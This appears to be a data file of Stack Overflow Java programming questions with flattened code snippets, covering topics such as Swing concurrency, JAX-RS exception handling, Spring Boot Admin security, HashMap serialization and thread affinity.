Therefore , the game state manipulation can be performed in the event dispatch thread without any rendering lookup . The game state is also used to display various aggregated information to the user.However , as I need to introduce simulation ( for example , building progress , population changes , fleet movements , manufacturing process , etc . ) , changing the game state in a Timer and EDT will surely slow down the rendering . Lets say the simulation/AI operation is performed in every 500ms and I use SwingWorker for the computation of about 250ms in length . How can I ensure , that there is no race condition regarding the game state reads between the simulation and the possible user interaction ? I know that the result of the simulation ( which is small amount of data ) can be efficiently moved back to the EDT via the SwingUtilities.invokeLater ( ) call.The game state model seems to be too complex to be infeasible for just using immutable value classes everywhere.Is there a relatively correct approach to eliminate this read race condition ? Perhaps doing a full/partial game state cloning on every timer tick or change the living space of the game state from EDT into some other thread ? Update : ( from the comments I gave ) The game operates with 13 AI controlled players , 1 human player and has about 10000 game objects ( planets , buildings , equipment , research , etc. ) . A game object for example has the following attributes : In a scenario , the user builds a new building onto this planet . This is performed in EDT as the map and buildings collection needs to be changed . Parallel to this , a simulation is run on every 500ms to compute the energy allocation to the buildings on all game planets , which needs to traverse the buildings collection for statistics gathering . If the allocation is computed , it is submitted to the EDT and each building 's energy field gets assigned.Only human player interactions have this property , because the results of the AI computation are applied to the structures in EDT anyway.In general , 75 % of the object attributes are static and used only for rendering . The rest of it is changeable either via user interaction or simulation/AI decision . It is also ensured , that no new simulation/AI step is started until the previous one has written back all changes.My objectives are : Avoid delaying the user interaction , e.g . user places the building onto the planet and only after 0.5s gets the visual feedbackAvoid blocking the EDT with computation , lock wait , etc.Avoid concurrency issues with collection traversal and modification , attribute changesOptions : Fine grained object lockingImmutable collectionsVolatile fieldsPartial snapshotAll of these have advantages , disadvantages and causes to the model and the game.Update 2 : I 'm talking about this game . My clone is here . The screenshots might help to imagine the rendering and data model interactions.Update 3 : I 'll try to give a small code sample for clarify my problem as it seems from the comments it is misunderstood : So the overlapping is between the onAddBuildingClicked ( ) and distributePower ( ) . Now imagine the case where you have 50 of these kind of overlappings between various parts of the game model .","World ( Planets , Players , Fleets , ... ) Planet ( location , owner , population , type , map , buildings , taxation , allocation , ... ) Building ( location , enabled , energy , worker , health , ... ) List < GameObject > largeListOfGameObjects = ... List < Building > preFilteredListOfBuildings = ... // In EDTpublic void onAddBuildingClicked ( ) { Building b = new Building ( 100 /* kW */ ) ; largeListOfGameObjects.add ( b ) ; preFilteredListOfBuildings.add ( b ) ; } // In EDTpublic void paint ( Graphics g ) { int y = 0 ; for ( Building b : preFilteredListOfBuildings ) { g.drawString ( Integer.toString ( b.powerAssigned ) , 0 , y ) ; y += 20 ; } } // In EDTpublic void assignPowerTo ( Building b , int amount ) { b.powerAssigned = amount ; } // In simulation threadpublic void distributePower ( ) { int sum = 0 ; for ( Building b : preFilteredListOfBuildings ) { sum += b.powerRequired ; } final int alloc = sum / ( preFilteredListOfBuildings.size ( ) + 1 ) ; for ( final Building b : preFilteredListOfBuildings ) { SwingUtilities.invokeLater ( = > assignPowerTo ( b , alloc ) ) ; } }",How to manage the game state in face of the EDT ? +Java,"I need some help with understanding how Websphere Liberty ( 18.0.0.1 ) handles exceptions thrown within a JAX-RS endpoint invocation . I 'm using Liberty feature jaxrs-2.0 , so the implementation should be provided by WLP.Now , my application has a POST HTTP endpoint accepting JSON payload and I 'd like to provide a custom error messages for all the possible wrong client inputs.Here 's one case that works in a way I expected it : Client sends application/xml instead of application/jsonThere 's a ClientErrorException thrown by the containerI can use my own exception mapper ( implementing ExceptionMapper < WebApplicationException > to handle this exception ( actually to handle all the web application exception , which I 'm fine with ) This way I can format the error message , mark error with ID , whatever is needed . That 's goodAnd here 's the case not working for me : Client sends application/json , but with empty bodyThe core exception in this case is java.io.EOFException : No content to map to Object due to end of input - yeah , that looks accurateNow what I ca n't figure out - instead of wrapping this EOFException into some kind of WebApplicationException ( which I could handle easily ) , WLP is wrapping the exception issue into JaxRsRuntimeExceptionA couple of points here : I do n't want to create a mapper implementing ExceptionMapper < JaxRsRuntimeException > because that exception is not a part of JAX-RS 2.0 spec and I 'd have to provide the import to JaxRsRuntimeException and wire the application with some Liberty-specific library.A possible solution is to have my mapper implement a generic ExceptionMapper < RuntimeException > and string check if it finds exception of classname 'JaxRsRuntimeException ' and then handle it . But that just does n't seem right to me . So , is that a WLP design not to give me a WebApplicationException in this case ? What would be the elegant solution to handle this scenario ? ThanksEDIT : Added some parts of source code.REST endpoint and resource method : Entity with JAXB annotations : Exception stack trace :","@ Path ( `` /books '' ) public class BookEndpoint { @ POST @ Consumes ( MediaType.APPLICATION_JSON ) public Response createBook ( Book book , @ Context UriInfo uriInfo ) { bookDao.create ( book ) ; UriBuilder builder = uriInfo.getAbsolutePathBuilder ( ) ; builder.path ( Integer.toString ( book.getId ( ) ) ) ; return Response.created ( builder.build ( ) ) .entity ( book ) .build ( ) ; } } @ XmlRootElementpublic class Book { private int id ; private String title ; // getters , setters } com.ibm.ws.jaxrs20.JaxRsRuntimeException : java.io.EOFException : No content to map to Object duto end of input at org.apache.cxf.jaxrs.utils.JAXRSUtils.toJaxRsRuntimeException ( JAXRSUtils.java:1928 ) at [ internal classes ] at org.apache.logging.log4j.web.Log4jServletFilter.doFilter ( Log4jServletFilter.java:71 ) at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter ( FilterInstanceWrapper.java:201 ) at [ internal classes ] at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ) Caused by : java.io.EOFException : No content to map to Object duto end of input at org.codehaus.jackson.map.ObjectMapper._initForReading ( ObjectMapper.java:2775 ) at [ internal classes ] at java.security.AccessController.doPrivileged ( Native Method ) at org.apache.cxf.jaxrs.utils.JAXRSUtils.readFromMessageBodyReader ( JAXRSUtils.java:1413 ) at [ internal classes ] ... 48 more",JAX-RS exception handling on Websphere Liberty +Java,"I 'm trying to rewrite some ( very simple ) android code I found written in Java into a static HTML5 app ( I do n't need a server to do anything , I 'd like to keep it that way ) . I have extensive background in web development , but basic understanding of Java , and even less knowledge in Android development . The only function of the app is to take some numbers and convert them into an audio chirp from bytes . I have absolutely no problem translating the mathematical logic into JS . Where I 'm having trouble is when it gets to actually producing the sound . This is the relevant parts of the original code : How do I do this in JS ? I can use a dataURI to produce the sound from the bytes , but does that allow me to control the other information here ( i.e. , sample rate , etc. ) ? In other words : What 's the simplest , most accurate way to do this in JS ? updateI have been trying to replicate what I found in this answer . This is the relevant part of my code : However , when I run this I get this error : Which I find quite extraordinary , as it 's such a general error it manages to beautifully tell me exactly squat about what is wrong . Even more surprising , when I debugged this step by step , even though the chain of the errors starts ( expectedly ) with the line context.decodeAudioData ( buffer.buffer , play ) ; it actually runs into a few more lines within the jQuery file ( 3.2.1 , uncompressed ) , going through lines 5208 , 5195 , 5191 , 5219 , 5223 and lastly 5015 before erroring out . I have no clue why jQuery has anything to do with it , and the error gives me no idea what to try . Any ideas ?","import android.media.AudioFormat ; import android.media.AudioManager ; import android.media.AudioTrack ; // later in the code : AudioTrack track = new AudioTrack ( AudioManager.STREAM_MUSIC , sampleRate , AudioFormat.CHANNEL_OUT_MONO , AudioFormat.ENCODING_PCM_16BIT , minBufferSize , AudioTrack.MODE_STATIC ) ; // some math , and then : track.write ( sound , 0 , sound.length ) ; // sound is an array of bytes window.onload = init ; var context ; // Audio contextvar buf ; // Audio bufferfunction init ( ) { if ( ! window.AudioContext ) { if ( ! window.webkitAudioContext ) { alert ( `` Your browser does not support any AudioContext and can not play back this audio . `` ) ; return ; } window.AudioContext = window.webkitAudioContext ; } context = new AudioContext ( ) ; } function playByteArray ( bytes ) { var buffer = new Uint8Array ( bytes.length ) ; buffer.set ( new Uint8Array ( bytes ) , 0 ) ; context.decodeAudioData ( buffer.buffer , play ) ; } function play ( audioBuffer ) { var source = context.createBufferSource ( ) ; source.buffer = audioBuffer ; source.connect ( context.destination ) ; source.start ( 0 ) ; } Uncaught ( in promise ) DOMException : Unable to decode audio data",rewriting Java code to JS - creating an audio from bytes ? +Java,"I was reading somewhere that : The smallest integer larger than lg N is the number of bits required to represent N in binary , in the same way that the smallest integer larger than log10 N is the number of digits required to represent N in decimal . The Java statement is a simple way to compute the smallest integer larger than lg NI maybe missing something here but how does the Java statement calculate the smallest integer larger than lg N ?","for ( lgN = 0 ; N > 0 ; lgN++ , N /= 2 ) ;",Smallest integer larger than lg N +Java,"Consider the three following classes : EntityTransformer contains a map associating an Entity with a StringEntity is an object containing an ID ( used by equals / hashcode ) , and which contains a reference to an EntityTransformer ( note the circular dependency ) SomeWrapper contains an EntityTransformer , and maintains a Map associating Entity 's identifiers and the corresponding Entity object.The following code will create an EntityTransformer and a Wrapper , add two entities to the Wrapper , serialize it , deserialize it and test the presence of the two entitites : The output is : { a1=whatever-a1 , a2=whatever-a2 } false trueSo basically , the serialization failed somehow , as the map should contain both entities as Keys . I suspect the cyclic dependency between Entity and EntityTransformer , and indeed if I make static the EntityManager instance variable of Entity , it works . Question 1 : given that I 'm stuck with this cyclic dependency , how could I overcome this issue ? Another very weird thing : if I remove the Map maintaining an association between identifiers and Entities in the Wrapper , everything works fine ... ? ? Question 2 : someone understand what 's going on here ? Bellow is a full functional code if you want to test it : Thanks in advance for your help : ) EDITThere is a good summary of what is potentially in play for this issue : http : //bugs.sun.com/bugdatabase/view_bug.do ? bug_id=4957674 The problem is that HashMap 's readObject ( ) implementation , in order to re-hash the map , invokes the hashCode ( ) method of some of its keys , regardless of whether those keys have been fully deserialized . If a key contains ( directly or indirectly ) a circular reference to the map , the following order of execution is possible during deserialization -- - if the key was written to the object stream before the hashmap : Instantiate the key Deserialize the key 's attributes 2a . Deserialize the HashMap ( which was directly or indirectly pointed to by the key ) 2a-1 . Instantiate the HashMap 2a-2 . Read keys and values 2a-3 . Invoke hashCode ( ) on the keys to re-hash the map 2b . Deserialize the key 's remaining attributes Since 2a-3 is executed before 2b , hashCode ( ) may return the wrong answer , because the key 's attributes have not yet been fully deserialized.Now that does not explain fully why the issue can be fixed if the HashMap from Wrapper is removed , or move to the EntityTransformer class .","public static void main ( String [ ] args ) throws Exception { EntityTransformer et = new EntityTransformer ( ) ; Wrapper wr = new Wrapper ( et ) ; Entity a1 = wr.addEntity ( `` a1 '' ) ; // a1 and a2 are created internally by the Wrapper Entity a2 = wr.addEntity ( `` a2 '' ) ; byte [ ] bs = object2Bytes ( wr ) ; wr = ( SomeWrapper ) bytes2Object ( bs ) ; System.out.println ( wr.et.map ) ; System.out.println ( wr.et.map.containsKey ( a1 ) ) ; System.out.println ( wr.et.map.containsKey ( a2 ) ) ; } public class SerializeTest { public static class Entity implements Serializable { private EntityTransformer em ; private String id ; Entity ( String id , EntityTransformer em ) { this.id = id ; this.em = em ; } @ Override public boolean equals ( Object obj ) { if ( obj == null ) { return false ; } if ( getClass ( ) ! = obj.getClass ( ) ) { return false ; } final Entity other = ( Entity ) obj ; if ( ( this.id == null ) ? ( other.id ! = null ) : ! this.id.equals ( other.id ) ) { return false ; } return true ; } @ Override public int hashCode ( ) { int hash = 3 ; hash = 97 * hash + ( this.id ! = null ? this.id.hashCode ( ) : 0 ) ; return hash ; } public String toString ( ) { return id ; } } public static class EntityTransformer implements Serializable { Map < Entity , String > map = new HashMap < Entity , String > ( ) ; } public static class Wrapper implements Serializable { EntityTransformer et ; Map < String , Entity > eMap ; public Wrapper ( EntityTransformer b ) { this.et = b ; this.eMap = new HashMap < String , Entity > ( ) ; } public Entity addEntity ( String id ) { Entity e = new Entity ( id , et ) ; et.map.put ( e , `` whatever- '' + id ) ; eMap.put ( id , e ) ; return e ; } } public static void main ( String [ ] args ) throws Exception { EntityTransformer et = new EntityTransformer ( ) ; Wrapper wr = new Wrapper ( et ) ; Entity a1 = wr.addEntity ( `` a1 '' ) ; // a1 and a2 are created internally by the Wrapper Entity a2 = wr.addEntity ( `` a2 '' ) ; byte [ ] bs = object2Bytes ( wr ) ; wr = ( Wrapper ) bytes2Object ( bs ) ; System.out.println ( wr.et.map ) ; System.out.println ( wr.et.map.containsKey ( a1 ) ) ; System.out.println ( wr.et.map.containsKey ( a2 ) ) ; } public static Object bytes2Object ( byte [ ] bytes ) throws IOException , ClassNotFoundException { ObjectInputStream oi = null ; Object o = null ; try { oi = new ObjectInputStream ( new ByteArrayInputStream ( bytes ) ) ; o = oi.readObject ( ) ; } catch ( IOException io ) { throw io ; } catch ( ClassNotFoundException cne ) { throw cne ; } finally { if ( oi ! = null ) { oi.close ( ) ; } } return o ; } public static byte [ ] object2Bytes ( Object o ) throws IOException { ByteArrayOutputStream baos = null ; ObjectOutputStream oo = null ; byte [ ] bytes = null ; try { baos = new ByteArrayOutputStream ( ) ; oo = new ObjectOutputStream ( baos ) ; oo.writeObject ( o ) ; bytes = baos.toByteArray ( ) ; } catch ( IOException ex ) { throw ex ; } finally { if ( oo ! = null ) { oo.close ( ) ; } } return bytes ; } }",Weird serialisation behavior with HashMap +Java,Immutable classes are great but there is one big problem i cant think of a sensible way to solve - cycles.How does one model Me having You as a friend who in turn has me as a Friend back ? IMMUTABILITYThis class from the outside world should definitely be immutable . The value held internally should be constant for the purposes of equality checks .,class Friend { Set < Friend > friends ( ) ; },How to model cycles between immutable class instances ? +Java,"I am wondering do we use generic method only if the method is static ? for non-static you would define a generic class and you do n't necessary need it to be generic method . Is that correct ? for example , whereas the compiler will force to add type parameter to make it a generic method if it 's static.I am not sure if i am correct or not .","public class Example < E > { //this is suffice with no compiler error public void doSomething ( E [ ] arr ) { for ( E item : arr ) { System.out.println ( item ) ; } } //this would n't be wrong , but is it necessary ? public < E > doSomething ( E [ ] arr ) { for ( E item : arr ) { System.out.println ( item ) ; } } } public static < E > doSomething ( E [ ] arr ) { }",Java : Is generic method only with static ? +Java,"I have the Quartz scheduler with Spring as part of my application , which is deployed in a clustered environment . The problem is that Quartz keeps firing a lot of queries ( hundreds per minute ) even though my jobs are scheduled to run once per hour ( the jobs are triggered correctly ) . Is there a way to avoid/delay these Quartz queries ? EDIT : adding some queries fired by Quartz","UPDATE QRTZ_TRIGGERS SET TRIGGER_STATE = 'ACQUIRED ' WHERE SCHED_NAME = 'SW_QUARTZ_SCHEDULER ' AND TRIGGER_NAME = 'createCronTriggerFactoryBeanForPSDJob ' AND TRIGGER_GROUP = 'SPRING3-QUARTZ ' AND TRIGGER_STATE = 'WAITING'INSERT INTO QRTZ_FIRED_TRIGGERS ( SCHED_NAME , ENTRY_ID , TRIGGER_NAME , TRIGGER_GROUP , INSTANCE_NAME , FIRED_TIME , STATE , JOB_NAME , JOB_GROUP , IS_NONCONCURRENT , REQUESTS_RECOVERY , PRIORITY ) VALUES ( 'SW_QUARTZ_SCHEDULER ' , 'sw-jayz-5413692078375651369207837517 ' , 'createCronTriggerFactoryBeanForPSDJob ' , 'SPRING3-QUARTZ ' , 'sw-jayz-541369207837565 ' , 1369207800000 , 'ACQUIRED ' , NULL , NULL , 0 , 0 , 0 ) SELECT * FROM QRTZ_JOB_DETAILS WHERE SCHED_NAME = 'SW_QUARTZ_SCHEDULER ' AND JOB_NAME = 'createJobDetailFactoryBeanForPSDJob ' AND JOB_GROUP = 'SPRING3-QUARTZDELETE FROM QRTZ_SIMPLE_TRIGGERS WHERE SCHED_NAME = 'SW_QUARTZ_SCHEDULER ' AND TRIGGER_NAME = 'createCronTriggerFactoryBeanForQMRJob ' AND TRIGGER_GROUP = 'SPRING3-QUARTZ '",How to restrict queries fired by quartz-scheduler +Java,"I 've have a method that takes String as an input and should also return a String.The following ASCII art presents the logical flow : Basically for given input I 'm looking for A object which is returned wrapped in an Option . Then is A is present I 'm looking for B - wrapped in an Option too , otherwise return ERR_1 . Then if B is present return it 's id , otherwise return ERR_2.I 'm wondering how it could be implemented using optionals ( or pattern matching maybe ? ) in a nice and concise way ( without any ifology ) - possibly in one-liner.Could anyone please suggest something ? Source code to try out can be found here .",Option < A > optA = finder.findA ( input ) ; optA /\isEmpty ( ) / \ isDefined ( ) / \ `` ERR_1 '' Option < B > optB = finder.findB ( optA.get ( ) .bid ) ; / \ isEmpty ( ) / \ isDefined ( ) / \ `` ERR_2 '' opt2.get ( ) .id,How to implement this nested flow with optionals ? +Java,"I 'm using jdk 1.8 and Spring boot 2.1.2.I would like to enable authentication in administration console of Spring Boot and in its clients.I setted in Administration application.properties : In Administration project I added this class : In administration pom.xml I added : I was forced to add the annotation @ EnableWebFluxSecurity on the main class because without it , it gives an Exception : org.springframework.beans.factory.support.BeanDefinitionOverrideException : Invalid bean definition with name 'springSecurityFilterChain ' defined in class path resource [ org/springframework/boot/actuate/autoconfigure/security/reactive/ReactiveManagementWebSecurityAutoConfiguration.class ] : Can not register bean definition [ Root bean : class [ null ] ; scope= ; abstract=false ; lazyInit=false ; autowireMode=3 ; dependencyCheck=0 ; autowireCandidate=true ; primary=false ; factoryBeanName=org.springframework.boot.actuate.autoconfigure.security.reactive.ReactiveManagementWebSecurityAutoConfiguration ; factoryMethodName=springSecurityFilterChain ; initMethodName=null ; destroyMethodName= ( inferred ) ; defined in class path resource [ org/springframework/boot/actuate/autoconfigure/security/reactive/ReactiveManagementWebSecurityAutoConfiguration.class ] ] for bean 'springSecurityFilterChain ' : There is already [ Root bean : class [ null ] ; scope= ; abstract=false ; lazyInit=false ; autowireMode=3 ; dependencyCheck=0 ; autowireCandidate=true ; primary=false ; factoryBeanName=org.springframework.security.config.annotation.web.configuration.WebSecurityConfiguration ; factoryMethodName=springSecurityFilterChain ; initMethodName=null ; destroyMethodName= ( inferred ) ; defined in class path resource [ org/springframework/security/config/annotation/web/configuration/WebSecurityConfiguration.class ] ] bound.In client application.properties : And in client pom.xml : Now if I access both of them using the browser , they prompt me with the login form . I type the login and password and all works as a charm , but the actuator of the client can not access to the admin , it returns always 403 FORBIDDEN . 2019-02-12 15:21:52.004 - [ registrationTask1 ] DEBUG o.s.core.log.CompositeLog.debug 142 - Response 403 FORBIDDENI really can not understand why the communication between the administration console and the client does not work . Does anyone know where I 'm wrong ?","spring.security.user.name=adminspring.security.user.password=secretspring.boot.admin.discovery.enabled=truemanagement.endpoints.web.exposure.include=*management.endpoints.web.cors.allowed-methods=GET , POST @ EnableWebSecurity @ Configurationpublic class SecuritySecureConfig extends WebSecurityConfigurerAdapter { private static final Logger logger = ( Logger ) LoggerFactory.getLogger ( SecuritySecureConfig.class ) ; private final String adminContextPath ; public SecuritySecureConfig ( AdminServerProperties adminServerProperties ) { this.adminContextPath = adminServerProperties.getContextPath ( ) ; } @ Overrideprotected void configure ( HttpSecurity http ) throws Exception { SavedRequestAwareAuthenticationSuccessHandler successHandler = new SavedRequestAwareAuthenticationSuccessHandler ( ) ; successHandler.setTargetUrlParameter ( `` redirectTo '' ) ; successHandler.setDefaultTargetUrl ( adminContextPath + `` / '' ) ; http.authorizeRequests ( ) .antMatchers ( adminContextPath + `` /assets/** '' ) .permitAll ( ) .antMatchers ( adminContextPath + `` /login '' ) .permitAll ( ) .anyRequest ( ) .authenticated ( ) .and ( ) .formLogin ( ) .loginPage ( adminContextPath + `` /login '' ) .successHandler ( successHandler ) .and ( ) .logout ( ) .logoutUrl ( adminContextPath + `` /logout '' ) .and ( ) .httpBasic ( ) .and ( ) .csrf ( ) .csrfTokenRepository ( CookieCsrfTokenRepository.withHttpOnlyFalse ( ) ) .ignoringAntMatchers ( adminContextPath + `` /instances '' , adminContextPath + `` /actuator/** '' ) ; } } < dependencies > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-security < /artifactId > < /dependency > < dependency > < groupId > de.codecentric < /groupId > < artifactId > spring-boot-admin-starter-server < /artifactId > < /dependency > < dependency > < groupId > de.codecentric < /groupId > < artifactId > spring-boot-admin-server-ui < /artifactId > < /dependency > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-tomcat < /artifactId > < /dependency > < /dependencies > spring.security.user.name=joespring.security.user.password=my-secret-passwordspring.boot.admin.client.username=adminspring.boot.admin.client.password=secretspring.boot.admin.client.instance.metadata.user.name=adminspring.boot.admin.client.instance.metadata.user.password=secretspring.boot.admin.client.enabled=truespring.boot.admin.client.auto-registration=truespring.boot.admin.client.auto-deregistration=true < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-security < /artifactId > < /dependency >",Spring boot authentication - admin console 403 response to client +Java,"I was reading about currying in functional-programming , and I have a very basic question : If I have two functions in Javaand I create another methodIn the above code , when I wrote increment function , did I actually curry add ?","int add ( int x , int y ) { return x+y ; } int increment ( int y ) { return add ( 1 , y ) ; }",Functional Programming Beginner : Currying in Java +Java,"The following code written in Java-9 being run gives me a very weird and funny exception in runtime : The code : I am wondering : is it designed so , or ideally this code should n't be compiled , and therefore this is a compiler bug ? ( I personally believe that this is a bug ) .UPD : Submitted a bug , ID : 9052188UPD-2 : It looks like B.super.test ( ) is generally a valid construction , because if test ( ) method is default than it works fine . This fact just makes things more complicated .",Exception in thread `` main '' java.lang.NoSuchFieldError : super at A $ C.test ( A.java:15 ) at A.main ( A.java:5 ) public class A { public static void main ( String [ ] args ) { new C ( ) .test ( ) ; } interface B { private void test ( ) { } } static class C implements B { void test ( ) { B.super.test ( ) ; } } },`` java.lang.NoSuchFieldError : super '' exception - bug in compiler ? +Java,"I have a Java HashMap that I have in JRuby , I am trying to convert it to JSON , but its not converting correctly , I think this example shows the problem : Any ideas on how to handle this - do I need to turn the map into a Ruby map ? Thanks , Chris",$ irb [ 17:23:50 ] irb ( main ) :001:0 > require 'java'= > falseirb ( main ) :003:0 > require 'json'= > trueirb ( main ) :005:0 > h = java.util.HashMap.new ( ) = > { } irb ( main ) :006:0 > x = { } = > { } irb ( main ) :007:0 > JSON.parse JSON.dump x= > { } irb ( main ) :008:0 > JSON.parse JSON.dump hJSON : :ParserError : unexpected token at ' '' { } '' ' from json/ext/Parser.java:251 : in ` parse ' from /Users/kimptoc/.rvm/rubies/jruby-1.7.3/lib/ruby/1.9/json/common.rb:155 : in ` parse ' from ( irb ) :9 : in ` evaluate ' from org/jruby/RubyKernel.java:1066 : in ` eval ' from org/jruby/RubyKernel.java:1409 : in ` loop ' from org/jruby/RubyKernel.java:1174 : in ` catch ' from org/jruby/RubyKernel.java:1174 : in ` catch ' from /Users/kimptoc/.rvm/rubies/jruby-1.7.3/bin/irb:13 : in ` ( root ) 'irb ( main ) :010:0 > JSON.dump h= > `` \ '' { } \ '' '',How to convert Java Map to json in jruby +Java,I am working on a java application with a JFileChooser and the user is able to switch languages.The second file chooser to appear is in Chinese except for the `` All Files '' string in the drop down box . If I comment out the first section of code the file chooser appears correctly with all the strings translated . Is this a bug in java or do I need to set the locale somewhere else ? How can I get the translated file chooser to appear correctly ?,Locale.setDefault ( Locale.ENGLISH ) ; JFileChooser chooser = new JFileChooser ( ) ; chooser.showOpenDialog ( null ) ; Locale.setDefault ( Locale.CHINA ) ; JFileChooser.setDefaultLocale ( Locale.CHINA ) ; JFileChooser chinese_chooser = new JFileChooser ( ) ; chinese_chooser.showOpenDialog ( null ) ;,Localizing the JFileChooser `` All Files '' string +Java,I have an Enum like this : All of these dto classes extend the same abstract ( dto ) class : This would a example Dto implementation of TestADto : Is it possible ( im using Java 8 ) create a concrete instance of these in the enum reference classes without the need of knowing which concrete istance it is ? Lets say im at a certain point in a function and im having the Enum_A . Now i want to create a dto instance ( TestADto.class ) . What would be the best approach or pattern for this ? Imagine a enum with more than 100 entries and every entry has a different dto which extends the same abstract dto or implements a interface.How can i create these concrete object without writing a huge if else or switch statement or handle it case by case.I read something about reflection and proxies but not sure if this is the right way i am . Or is the current state im having already a kind of poor design ? Everything i want to reach is to assign the dto name to an enum for creating it later at some certain points . But without creating a huge condition if possible ... @ EditI forgot to mention that creating a instance of each dto needs to have object which is passed to the constructor . This object which is passed to the constructor also implements a interface .,"public static enum TestEnum { // main ENUM_A ( 1 , `` test1 '' , TestADto.class ) , ENUM_B ( 2 , `` test2 '' , TestBDto.class ) , ENUM_C ( 3 , `` test3 '' , TestCDto.class ) , ... private Class < ? extends Dto > dtoClass ; public Class < ? extends Dto getDtoClass ( ) { return dtoClass ; } ... } public abstract class AbstractDto { private String foo ; private int bar ; ... AbstractDto ( AbstractClassNeededForInitialization o ) { this.foo = o.getFoo ( ) ; this.bar = o.getBar ( ) ; } ... some functions here ... } @ Getter @ Setterpublic class TestADto extends AbstractDto { private String anotherFoo ; private int anotherBar ; ... public TestADto ( AbstractClassNeededForInitialization o ) { super ( o ) ; } ... some functions here ... }",Create new instance class reference +Java,"Is it possible to do this in Java ? Maybe I 'm using the wrong syntax ? Also , is it possible to do something likeas is seen on c # ? Thanks","ArrayList < Integer > iAL = new ArrayList < Integer > ( ) ; iAL.addAll ( Arrays.asList ( new Integer [ ] { 1 , 2 , 3 , 4 , 5 } ) ) ; for ( int i = 0 ; i < iAL.size ( ) ; ++i ) { System.out.println ( iAL [ i ] ) ; // < -- -- -- -- HERE IS THE PROBLEM } iAL.addAll ( new int [ ] { 1 , 2 , 3 , 4 , 5 } ) ;",ArrayLists and indexers in Java +Java,I 've tried to do some stuff with generics already but it seems I can not personally find any simple solution . Still I think it 'd be a sin to leave these 3 similar methods alone as they are .,public List < PassengerPlane > getPassengerPlanes ( ) { List < PassengerPlane > passengerPlanes = new ArrayList < > ( ) ; for ( Plane plane : planes ) { if ( plane instanceof PassengerPlane ) { passengerPlanes.add ( ( PassengerPlane ) plane ) ; } } return passengerPlanes ; } public List < MilitaryPlane > getMilitaryPlanes ( ) { List < MilitaryPlane > militaryPlanes = new ArrayList < > ( ) ; for ( Plane plane : planes ) { if ( plane instanceof MilitaryPlane ) { militaryPlanes.add ( ( MilitaryPlane ) plane ) ; } } return militaryPlanes ; } public List < ExperimentalPlane > getExperimentalPlanes ( ) { List < ExperimentalPlane > experimentalPlanes = new ArrayList < > ( ) ; for ( Plane plane : planes ) { if ( plane instanceof ExperimentalPlane ) { experimentalPlanes.add ( ( ExperimentalPlane ) plane ) ; } } return experimentalPlanes ; },Create a neat method out of three similar ones using generics +Java,"I 'm trying to call a C program from Java and capture the standard output . Here is my code : Here is a sample c program : This works fine when the program I 'm executing ( helloworld in this case ) does not have a getchar ( ) in it . However , if I add a getchar ( ) right after the printf , I never get anything off the input stream . Any ideas why ? Thanks",try { ProcessBuilder pb = new ProcessBuilder ( `` helloworld.exe '' ) ; pb.redirectErrorStream ( true ) ; // Merge std out and std err into same stream program = pb.start ( ) ; // Start program BufferedReader input = new BufferedReader ( new InputStreamReader ( program.getInputStream ( ) ) ) ; line = input.readLine ( ) ; while ( line ! = null ) { System.out.println ( line ) ; line = input.readLine ( ) ; } } catch ( IOException e ) { e.printStackTrace ( ) ; } int main ( ) { printf ( `` Hello world\n '' ) ; },Trouble getting standard output in Java from a C program with getchar ( ) +Java,"I have just started using jsoup with this site and something weird is happening . All I want is to select the text under the column title , which you can find with the following html : Looking at this html structure I came up with the following for jsoup selection : Here is the thing : It only prints out until title `` ASAP '' , but there 's loads after that , and they simply do n't come up . So I am left wondering , does jsoup `` .select ( ) '' have a limit on the nodes it returns ? I have no idea how to come around this , any help is quite appreciated .",< div class= '' Table1_A1 grow clear-fix '' > < div class= '' grd-col grd-col-1a '' > … < /div > < div class= '' grd-col grd-col-2b '' > < p > < span class= '' T1 '' > < a href= '' ... . '' > TITLE TEXT IS HERE < /a > < /span > < /p > < /div > ... < /div > try { Document htmlDocument = Jsoup.connect ( url ) .get ( ) ; Elements as = htmlDocument.select ( `` div.grow > div.grd-col-2b > p > span.T1 > a '' ) ; System.out.println ( as.html ( ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; },Jsoup select is not returning all nodes +Java,"I am interested in low-latency code and that ` s why I tried to configure thread affinity . In particular , it was supposed to help to avoid context switches.I have configured thread affinity using https : //github.com/OpenHFT/Java-Thread-Affinity . I run very simple test code that just spins in a cycle checking a time condition.So , after the specified delay execution goes to `` else '' and approximately at the same time I see context switch . Is it an expected behavior ? What is the specific reason for this ? How can I avoid context switches in such cases ? Test DetailsI build shadowJar from this repo : https : //github.com/stepan2271/thread-affinity-example . Then I run it using the following command ( one can play around with numbers here , it doesn ` t have significant effect on test when delay > 60 ) : I also have the following test script to monitor context switches ( should be run with ID of the Java thread that is bound to core ) Typical output of this script is the following : So , after some changes in start time these numbers become stable and then I see from 1 to 3 switches exactly ( difference is less than 1 sec ) at the time when code reaches `` else '' branch.DeviationsBase configuration reproduces this behavior almost each time , while some deviations lead to situation when I didn ` t manage to reproduce . Examples : https : //github.com/stepan2271/thread-affinity-example/tree/without-log4jhttps : //github.com/stepan2271/thread-affinity-example/tree/without-cached-nano-clockTest environment2 * Intel ( R ) Xeon ( R ) Gold 6244 CPU @ 3.60GHzRed Hat Enterprise Linux 8.1 ( Ootpa ) Cores are isolated using CPUAffinity in /etc/systemd/system.conf and /etc/systemd/user.conf/etc/sysconfig/irqbalance is configured.Openjdk 11.0.6 2020-01-14 LTS Runtime Environment 18.9",long now = start ; while ( true ) { if ( now < start + TimeUtils.NANOS_IN_SECOND * delay ) { now = TimeUtils.now ( ) ; } else { // Will be printed after 30 sec if ( TimeUtils.now ( ) > start + TimeUtils.NANOS_IN_SECOND * ( delay + 30 ) ) { final long finalNow = now ; System.out.println ( `` Time is over at `` + TimeUtils.toInstant ( finalNow ) + `` now : `` + TimeUtils.toInstant ( TimeUtils.now ( ) ) ) ; System.exit ( 0 ) ; } } } taskset -c 19 java -DtestLoopBindingCpu=3 -Ddelay=74 -cp demo-all.jar main.TestLoop # ! /bin/bashwhile [ true ] dodate > > ~/demo-ctxt-switches.logcat /proc/ $ 1/status | grep ctxt > > ~/demo-ctxt-switches.logsleep 3done Fri Oct 16 18:23:29 MSK 